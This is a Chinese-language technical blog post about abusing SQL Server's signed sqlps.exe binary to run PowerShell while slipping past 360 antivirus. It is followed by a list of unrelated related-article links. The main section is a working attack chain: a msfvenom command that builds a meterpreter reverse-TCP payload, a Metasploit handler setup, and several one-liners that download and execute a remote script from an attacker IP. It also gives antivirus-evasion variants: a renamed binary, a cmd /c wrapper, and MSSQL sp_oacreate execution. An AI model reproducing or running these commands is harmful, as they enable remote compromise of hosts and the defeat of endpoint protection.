sqlps.exe白名单的利用(过S60!)

简介: sqlps.exe白名单的利用(过S60!)

0x01 sqlps.exe简介

sqlps.exe是SQL Server附带的一个具有Microsoft签名的二进制文件,用于加载SQL Server cmdlet,Microsoft Visual C#开发,可用ILSpy反编译查看源代码。


Microsoft SQL Server\100和110是Powershell v2,120和130是Powershell v4。2016中已由SQLToolsPS.exe替换,但出于兼容性原因将包含在安装中。

    C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exe
    C:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exe
    C:\Program Files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exe
    C:\Program Files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe
    C:\Program Files (x86)\Microsoft SQL Server\140\Tools\Binn\sqlps.exe
    C:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\sqlps.exe


    0x02 MSF监听并执行

    使用sqlps.exe执行360.ps1后会结束掉当前这个cmd.exe命令提示符,可能要延迟几秒MSF才接收到会话信息。

      msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -f psh-reflection > /var/www/html/360.ps1
      msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
      msf5 exploit(multi/handler) > set lhost 192.168.1.120
      msf5 exploit(multi/handler) > set lport 443
      msf5 exploit(multi/handler) > exploit


      sqlps执行上线:

        SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"


        0x03 绕过360防护执行

        众所周知360和火绒对powershell.exe进程的调用监控的非常严, sqlps.exe也有可能已经被360拦截了,如下图。


        已被拦截:

          powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
          SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
          declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe'


          但我们还是可以尝试使用加壳、反编译或者重命名和cmd /c等方式来绕过sqlps.exe的执行

          绕过方式:

            SQLPS1 -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
            cmd /c SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
            declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\ProgramData\SQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.1.120/360.ps1''))"'


            0x04 注意事项

            实战中建议根据目标主机实际环境提取相对应版本的sqlps.exe,如单独提取出来的sqlps.exe在执行时可能会出现缺少依赖项等问题,常见的有以下两种报错。

            已测试的系统和sqlps.exe见下表,测试记录见下图。


            0x05 参考链接

            https://mp.weixin.qq.com/s/XkleeVDz80WZy4NZqXhEfA

            https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/

            相关文章
            |
            存储 编解码 监控
            VOS3000作用与功能
            VOS3000是一套VoIP 运营支撑系统,系统拥有强大的功能集合及可靠的安全保障,可支撑 5000 路并发,适用于话务转发,企业终端,APP 业务,大型呼叫中心调度等多种业务形态,满足了大部分高并发大容量 VoIP 业务的需求。
            3137 0
            |
            Linux
            亚马逊云服务器AWS安装CentOS
            亚马逊云服务器默认创建的实例,在停止之后再启动的情况下,IP会发生改变。所以我们最好先创建一个弹性IP,即EIP,不过我也不清楚这个费用。 1、按如图操作创建一个弹性IP,弹性IP创建之后可以随便绑定到该region下的实例 2、创建好弹性IP之后,然后去创建实例: 3、点启动实例之...
            3561 0
            |
            Linux 数据库
            linux 全局搜索文件
            在 Linux 系统中,全局搜索文件常用 `find`、`locate` 和 `grep` 命令。`find` 根据文件名、类型、大小、时间戳等条件搜索;`locate` 通过预构建的数据库快速查找文件;`grep` 在文件中搜索特定文本,常与 `find` 结合使用。选择合适的命令取决于具体需求。
            2212 2
            |
            XML 安全 API
            .NET 9 AOT的突破 - 支持老旧Win7与XP环境
            .NET 9开始,AOT支持Win7和XP,不仅仅只支持SP1版本
            .NET 9 AOT的突破 - 支持老旧Win7与XP环境
            |
            物联网 C# Windows
            看看如何使用 C# 代码让 MQTT 进行完美通信
            看看如何使用 C# 代码让 MQTT 进行完美通信
            1840 0
            |
            开发框架 安全 .NET
            常用Webshell管理工具上线利用方式
            常用Webshell管理工具上线利用方式
            382 0
            |
            存储 Cloud Native Serverless
            云原生最佳实践系列 7:基于 OSS Object FC 实现非结构化文件实时处理
            阿里云OSS对象存储方案利用函数计算FC,在不同终端请求时实时处理OSS中的原图,减少衍生图存储,降低成本。
            |
            SQL 消息中间件 canal
            Flink cdc自定义format格式数据源
            变更数据捕获 (CDC) 已成为一种流行的模式,本文介绍如何通过自定义format来获取不同格式cdc数据源
            Flink cdc自定义format格式数据源
            |
            NoSQL C语言
            vscode出现 ERROR: Unable to start debugging. Unexpected GDB output from command “-exec-run“.
            vscode出现 ERROR: Unable to start debugging. Unexpected GDB output from command “-exec-run“.
            2942 0
            |
            关系型数据库 MySQL Linux
            CentOS7 下使用yum安装MySQL
            CentOS7 下使用yum安装MySQL
            1256 0